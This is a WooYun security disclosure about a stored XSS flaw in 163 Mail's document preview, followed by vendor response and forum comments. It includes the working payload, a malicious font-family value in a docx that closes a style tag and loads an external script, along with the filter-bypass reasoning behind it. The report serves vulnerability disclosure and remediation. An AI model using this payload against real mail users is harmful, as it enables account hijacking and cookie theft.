163邮箱存储型XSS 可劫持他人账号进入对方邮箱

漏洞概要

缺陷编号:WooYun-2014-088924

漏洞标题:163邮箱存储型XSS 可劫持他人账号进入对方邮箱

相关厂商:网易

漏洞作者:0x_Jin

提交时间:2014-12-27 14:57

公开时间:2015-02-10 14:58

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2014-12-27: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向核心白帽子及相关领域专家公开
2015-01-19: 细节向普通白帽子公开
2015-01-29: 细节向实习白帽子公开
2015-02-10: 细节向公众公开

简要描述:

一步两步一步两步

详细说明:

首先问题出在附件预览那(现在邮箱正文的过滤都过滤的差不多了),附件预览那如果预览doc docx这种类型的文件 便会采用微软的在线预览技术(高清版)以及永中软件的预览技术(极速版)而微软的在线预览技术采用的是将内容嵌入到图片 然后来渲染出一张图片给用户看,这样是比较需要时间以及带宽来加载的(难怪叫高清版)但是永中软件的就相对正常一些了,是获得内容然后渲染到html,这样速度比较快,带宽也无需太多 就跟浏览网页一样。那么现在问题来了,微软的在线预览技术应该做的比较成熟了 所以直接放弃,那另外一个呢?发送一个docx 然后预览发现字体是会输出在style标签中的字体css中的。如果在字体中带上恶意payload呢?其实是会过滤的,如果直接闭合style标签会变成这样:</style><script> --->\60;/style\62;\60;script\62;把payload当成值给编码了,这样就过不去了么,No 好玩的来了。我们只需要有一个 ; 号 来结束掉 font-family 就ok了。那么便可以这样:}</style><script> 这样的话 } 会编码成font-family:\125;这样我们就有了个;号 然后便可以写payload了最终payload如下 (由于字数问题 分成了两段):}</style><script src=//km3pw>}</script>把上面的两段设置到word文档中的字体里就好了比如 1.xsss --> 字体等于}</style><script src=//km3pw>2.csrf --> 字体等于}</script>

然后发送给别人预览:

漏洞证明:

修复方案:

过滤危险字符 关键cookie字段加上httponly

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-12-3012:17

厂商回复:

感谢您对网易的关注。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 ki11y0u 白帽子 | Rank:72 漏洞数:7)

    摩擦 摩擦

  2. 2010-01-01 00:00 围剿 白帽子 | Rank:5 漏洞数:2)

    摩擦 摩擦

  3. 2010-01-01 00:00 px1624 白帽子 | Rank:963 漏洞数:126)

    。。。126 163 这些用的都是一样的东西,有必要发2个么。诶,被你发出来了,估计以后网易的cookie也就用不了了

  4. 2010-01-01 00:00 wanglaojiu 白帽子 | Rank:45 漏洞数:12)

    躺枪了,和qq的一样躺枪

  5. 2010-01-01 00:00 mango 白帽子 | Rank:1662 漏洞数:152)

    为何不测试微软的呢~~

  6. 2010-01-01 00:00 0x_Jin 白帽子 | Rank:234 漏洞数:25)

    @mango 微软的做的很噁心 你去试试吧 我觉得微软的那个在线文档预览应该也会有些问题 但是思路应该换一个 他是会把你的内容给转换成类似于图片的东西给你预览 而不是直接的web page

  7. 2010-01-01 00:00 px1624 白帽子 | Rank:963 漏洞数:126)

    @mango 微软 雅虎 gmail 这招早没用了。12年的时候 这招还可以干雅虎

  • N/A